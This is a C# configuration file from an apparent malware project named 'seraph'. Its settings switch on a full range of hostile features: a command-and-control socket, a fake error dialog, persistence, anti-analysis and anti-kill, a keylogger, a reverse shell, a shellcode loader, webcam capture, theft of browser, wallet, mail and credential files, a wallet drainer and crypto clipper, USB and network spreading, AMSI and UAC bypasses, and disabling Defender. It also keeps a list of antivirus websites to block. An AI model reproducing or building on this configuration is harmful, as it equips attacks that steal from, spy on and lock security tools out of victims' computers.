75 lines
4.8 KiB
C#
75 lines
4.8 KiB
C#
namespace seraph;
|
|
|
|
public static class Configuration
|
|
{
|
|
public static string SocketServer = "127.0.0.1:8883"; // socket server, using ECDH-Curve25519 for encryption & verification
|
|
public static bool MeltStub = false;
|
|
public static bool FakeError = false;
|
|
public static string ErrorMessage = "The code execution cannot proceed because api-ms-win-core-timezone-l1-1-0.dll was not found. Reinstalling the application may fix this problem.";
|
|
public static bool AntiKill = false;
|
|
public static bool AntiKillBSoD = false;
|
|
public static bool AntiVM = false;
|
|
public static bool AntiAnalysis = false;
|
|
public static bool AntiDebug = false;
|
|
public static bool Startup = true;
|
|
public static string StartupMode = "taskschd"; // regkey, taskschd or folder
|
|
public static bool WebcamSnapshot = false;
|
|
public static bool Screenshot = false;
|
|
public static bool MoneroCryptoMiner = false;
|
|
public static bool LitecoinCryptoMiner = false;
|
|
public static bool BitcoinCryptoMiner = false;
|
|
public static int MoneroMinerUsage = 25;
|
|
public static int LitecoinMinerUsage = 25;
|
|
public static int BitcoinMinerUsage = 25;
|
|
public static string MoneroMinerWallet = "";
|
|
public static string LitecoinMinerWallet = "";
|
|
public static string BitcoinMinerWallet = "";
|
|
public static bool NetworkSpread = false;
|
|
public static bool USBInfect = false;
|
|
public static bool SystemInfect = false;
|
|
public static bool BrowserInjection = false;
|
|
public static bool MailInjection = false;
|
|
public static bool VPNInjection = false;
|
|
public static bool WalletInjection = false;
|
|
public static bool MessengerInjection = false;
|
|
public static bool BlockWebsites = false; // blocks websites off the local machine from being accessed
|
|
public static List<string> WebsitesList = new List<string> { "virustotal.com", "avast.com", "totalav.com", "scanguard.com", "totaladblock.com", "pcprotect.com", "mcafee.com", "bitdefender.com", "us.norton.com", "avg.com", "malwarebytes.com", "pandasecurity.com", "avira.com", "norton.com", "eset.com", "zillya.com", "kaspersky.com", "usa.kaspersky.com", "sophos.com", "home.sophos.com", "adaware.com", "bullguard.com", "clamav.net", "drweb.com", "emsisoft.com", "f-secure.com", "zonealarm.com", "trendmicro.com", "ccleaner.com" };
|
|
public static bool PornDetection = false; // detects if porn/hentai is viewed and runs webcam snapshot automatically if so
|
|
public static bool Keylogger = false;
|
|
public static bool ReverseShell = false;
|
|
public static bool ShellcodeLoader = false;
|
|
public static byte[] Shellcode = new byte[] { 0x81, 0x92 }; // use donut to gen PIC shellc
|
|
public static bool BrowserData = false;
|
|
public static bool WalletData = false;
|
|
public static bool WalletDrainer = false;
|
|
public static string WalletDrainerMoneroAddress = "";
|
|
public static string WalletDrainerLitecoinAddress = "";
|
|
public static string WalletDrainerBitcoinAddress = "";
|
|
public static string WalletDrainerEthereumAddress = "";
|
|
public static string WalletDrainerTetherAddress = "";
|
|
public static bool CryptoClipper = false;
|
|
public static string CryptoClipperMoneroAddress = "";
|
|
public static string CryptoClipperLitecoinAddress = "";
|
|
public static string CryptoClipperBitcoinAddress = "";
|
|
public static string CryptoClipperEthereumAddress = "";
|
|
public static string CryptoClipperTetherAddress = "";
|
|
public static bool NetworkData = false;
|
|
public static bool MessengerData = false;
|
|
public static bool MailData = false;
|
|
public static bool SystemData = false;
|
|
public static bool ImportantFiles = false;
|
|
public static List<string> ImportantFilesExtensions = new List<string> { "db", "kdbx", "sql", "sqlite", "pgp", "xml", "enc", "p12", "pfx", "vault", "json", "c", "h", "txt", "sqlite3", "pem", "asc", "cert", "ovpn", "ca", "sig", "adp" };
|
|
public static bool CommonFiles = false;
|
|
public static List<string> CommonFilesExtensions = new List<string> { "ini", "png", "jpg", "txt", "mp4", "mov", "webp", "7z", "zip", "dll", "jar", "java", "c", "h", "hpp", "cpp", "java", "d", "cs", "js", "ts", "py", "json", "lib", "gif", "wav", "bat", "cmd", "mp3", "jpeg", "nim", "html", "php", "css", "pyc", "pyd", "sln", "kts", "rs", "lisp", "zig", "exs", "md", "kt" };
|
|
public static bool GameData = false;
|
|
public static bool AMSIBypass = false;
|
|
public static bool DefenderExlusion = false;
|
|
public static List<string> ExcludedFilePaths = new List<string> { "" };
|
|
public static List<string> ExcludedFolderPaths = new List<string> { "" };
|
|
public static bool DestroyDefender = false;
|
|
public static bool DisableDefender = false;
|
|
public static bool DisableETW = false;
|
|
public static bool DisableREAgentC = false;
|
|
public static bool UACBypass = false;
|
|
public static bool RemoteControl = false;
|
|
} |